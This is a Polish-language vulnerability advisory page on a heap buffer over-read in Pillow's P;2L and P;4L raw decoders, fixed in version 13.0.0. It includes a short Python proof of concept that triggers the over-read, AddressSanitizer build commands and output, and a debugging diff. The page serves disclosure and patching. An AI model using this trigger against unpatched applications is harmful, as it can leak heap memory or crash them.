Pillow: Dekodery P;2L i P;4L mogą odczytać od 1 do 3 bajtów poza przekazanym rozmiarem bufora
Podsumowanie
W systemie main, nawet przy zabezpieczeniu wprowadzonym w #9725, możliwe jest, że dekodery te odczytają od 1 do 3 bajtów poza końcem przekazanego bufora przy odpowiedniej szerokości/wysokości.
Szczegóły
ImagingRawDecode oraz rozpakowywacze P;2L / P;4L różnią się co do liczby bajtów zajmowanych przez wiersz danych.
Dekoder surowy (raw) oblicza rozmiar wiersza na podstawie liczby bitów na piksel:
state->bytes = (state->xsize * state->bits + 7) / 8;
i używa go zarówno do sprawdzania granic, jak i do przejścia do następnego wiersza. Dla P;2L oraz P;4L, parametr bits wynosi odpowiednio 2 i 4.
Jednak te dwa tryby raw nie są upakowanymi pikselami, lecz składają się z 2 lub 4 płaszczyzn bitowych (bit planes), z których każda jest wyrównywana do pełnej liczby bajtów. unpackP2L oblicza s = (pixels + 7) / 8 i odczytuje płaszczyznę k pod przesunięciem k * s, a unpackP4L wykonuje to samo w poprzek czterech płaszczyzn. Ich rzeczywisty rozmiar wynosi zatem planes * ((xsize + 7) / 8).
Dla niektórych szerokości wyrównywanie każdej płaszczyzny z osobna sprawia, że rozmiar ten jest większy niż state->bytes. Na przykład przy szerokości 1 dekoder uwzględnia jeden bajt, podczas gdy rozpakowywacze odczytują dwa lub cztery bajty. Dekoder akceptuje dane, które są zbyt krótkie dla ostatniego wiersza, a z drugiej strony przechodzi do kolejnych wierszy o wartość mniejszą niż wiersz, w wyniku czego każdy wiersz po pierwszym jest odczytywany z nieprawidłowego przesunięcia.
Sprawdzenie w #9725 jest do tego niedopasowane:
- Może odrzucać dane o prawidłowej długości: obraz 8x1
P;2Lma 2 bajtów, lecz nie jest akceptowany. - Wciąż akceptuje bufory krótsze, niż wymagają tego rozpakowywacze dla danego formatu obrazu.
- Mierzy długość za pomocą
len(data), co stanowi liczbę elementów, a nie liczbę bajtów; np.memoryview(array("I", [0,0,0,0,0]))(20 bajtów) jest odrzucany, podczas gdymv.tobytes()jest akceptowany.
PoC ( ghsa_p2l_p4l.py)
from array import array
from PIL import Image
# 1 byte past
Image.frombytes("P", (1, 4), array("B", [0] * 4), "raw", "P;2L")
# 3 bytes past
Image.frombytes("P", (1, 8), array("B", [0] * 8), "raw", "P;4L")
to niemal najprostszy przypadek testowy.
(array jest potrzebny, aby ASan niezawodnie zgłosił błąd, jednak nadmierny odczyt można zaobserwować np. przy literałach bajtowych. Python domyślnie alokuje obiekty bytes z dodatkowym końcowym bajtem zerowym z areny pamięci, więc ASan nie rejestruje nadmiernego odczytu).
Na systemie Mac można wywołać zgłoszenie ASan za pomocą:
export asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib)
env CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" LDFLAGS="-fsanitize=address" uv pip install -e .
env DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py
w następujący sposób:
python3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space.
unpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371
unpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372
unpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373
unpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374
=================================================================
==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38
READ of size 1 at 0x602000037374 thread T0
#0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680)
#1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360)
#2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c)
#3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c)
#4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8)
#5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
#6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
#7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
#8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
#9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
#10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
#11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
#12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
#13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
#14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
#15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
#16 0x000194c86b94 (<unknown module>)
0x602000037374 is located 0 bytes after 4-byte region [0x602000037370,0x602000037374)
allocated by thread T0 here:
#0 0x0001044a130c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c)
#1 0x000102f22324 in newarrayobject+0x6c (python3.14:arm64+0x10014e324)
#2 0x000102f21b4c in array_new+0x320 (python3.14:arm64+0x10014db4c)
#3 0x0001030fc390 in type_call+0x5c (python3.14:arm64+0x100328390)
#4 0x000102e58ae4 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x668 (python3.14:arm64+0x100084ae4)
#5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
#6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
#7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
#8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
#9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
#10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
#11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
#12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
#13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
#14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
#15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
#16 0x000194c86b94 (<unknown module>)
SUMMARY: AddressSanitizer: heap-buffer-overflow (_imaging.cpython-314-darwin.so:arm64+0xb4680) in unpackP2L+0x17c
Shadow bytes around the buggy address:
0x602000037080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x602000037100: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x602000037180: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x602000037200: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x602000037280: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
=>0x602000037300: fa fa 00 fa fa fa 00 00 fa fa fd fa fa fa[04]fa
0x602000037380: fa fa 04 fa fa fa fd fd fa fa fd fd fa fa fd fd
0x602000037400: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 fa
0x602000037480: fa fa 01 fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000037500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000037580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
(Aby wywołać inne zachowanie w przypadku unpackP4L, należy zakomentować przypadek P;2L).
Powyższy wynik uzyskano przy użyciu unpackP2L i unpackP4L z rewizji 5eee92031a1986dfdaac7c78cdf0b764c0697118, prowizorycznie zmodyfikowanych w celu wypisywania odczytywanych danych:
diff --git a/src/libImaging/Unpack.c b/src/libImaging/Unpack.c
index a51568209..4f867737a 100644
--- a/src/libImaging/Unpack.c
+++ b/src/libImaging/Unpack.c
@@ -548,6 +548,8 @@ unpackP4(UINT8 *out, const UINT8 *in, int pixels) {
}
}
+#include <stdio.h>
+
static void
unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {
int i, j, m, s;
@@ -555,6 +557,8 @@ unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {
m = 128;
s = (pixels + 7) / 8;
for (i = j = 0; i < pixels; i++) {
+ fprintf(stderr, "unpackP2L: in=%p i=%d j=%d pixels=%d reads %p %p\n",
+ in, i, j, pixels, in + j, in + j + s);
out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0);
if ((m >>= 1) == 0) {
m = 128;
@@ -570,6 +574,8 @@ unpackP4L(UINT8 *out, const UINT8 *in, int pixels) {
m = 128;
s = (pixels + 7) / 8;
for (i = j = 0; i < pixels; i++) {
+ fprintf(stderr, "unpackP4L: in=%p i=%d j=%d pixels=%d reads %p %p %p %p\n",
+ in, i, j, pixels, in + j, in + j + s, in + j + 2 * s, in + j + 3 * s);
out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0) +
((in[j + 2 * s] & m) ? 4 : 0) + ((in[j + 3 * s] & m) ? 8 : 0);
if ((m >>= 1) == 0) {
Wpływ
Podatność dotyczy wyłącznie bardzo specyficznego przypadku użycia: wywołań Image.frombytes() lub Image.frombuffer() w opisanej powyżej postaci.
Dekoder PCX, będący jedynym wewnętrznym konsumentem rozpakowywaczy P;2L i P;4L w Pillow, przepakowuje wiersze PCX do formatu, w którym nadmiarowe odczyty nie stanowią problemu.
Wpływ polega na tym, że do 1 bajtu (P;2L) lub 3 bajtów (P;4L) pamięci sterty znajdującej się za buforem wywołującego jest odczytywanych i włączanych do wartości pikseli w ostatnim zdekodowanym wierszu (wierszach) w ilości jednego bitu na dotkniętą płaszczyznę na piksel. Możliwa jest również awaria aplikacji, jeśli odczyt sięgnie niezmapowanej pamięci.
Zgodnie z dostępnymi informacjami podatne są wszystkie dotychczas wydane wersje biblioteki Pillow.
Uwagi
Ustalenia te były przez chwilę publicznie dostępne (choć bez szczegółów) w https://github.com/python-pillow/Pillow/pull/9723#issuecomment-5566006996;. Andrew poprosił o wycofanie komentarza i opublikowanie w zamian tego zgłoszenia.
Co trzeba zrobić
Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | pillow | < 13.0.0 | 13.0.0 |
Odnośniki
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-4558-3h8r-v8xp
- https://nvd.nist.gov/vuln/detail/CVE-2026-112394
- https://github.com/python-pillow/Pillow/pull/9723
- https://github.com/python-pillow/Pillow/commit/392ee6f0d19a4adb766a63e9a99f3c28193b8d31
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-126- Platforma
- Python (PyPI)
- Paczka
pillow- Ujawniono
- 21.10.2026
- Aktualizacja
- 22.10.2026 00:11
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-4558-3h8r-v8xp - CC BY 4.0
Historia podatności: pillow
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 89
- Pierwsza → ostatnia
- 04.2014 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 1
Rozkład istotności
- Krytyczna 12
- Wysoka 57
- Średnia 18
- Niska 1
- Nieoceniona 1
Ujawnienia w latach
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 31
wcześniej: 12
-
Pillow: Dekodery P;2L i P;4L mogą odczytać od 1 do 3 bajtów poza przekazanym rozmiarem bufora ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.